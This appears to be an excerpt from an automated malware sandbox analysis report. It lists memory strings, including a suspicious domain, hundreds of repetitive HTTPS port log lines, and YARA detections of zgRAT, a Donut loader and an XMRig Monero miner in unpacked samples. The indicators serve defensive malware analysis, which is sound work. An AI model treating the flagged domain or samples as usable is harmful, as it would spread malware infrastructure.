Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s
Source: zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB6DA000.00000004.00000800.00020000.00000000.sdmp, 2cc80dabc69f58b6_0.10.dr, background.js.2.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://xot.traxa41.net
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.126.29.9:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.9:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:50019 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000002.00000002.2015231668.000002A5B9B80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: Target.exe PID: 7384, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: AddInProcess.exe PID: 7492, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

.NET source code contains very large array initializations

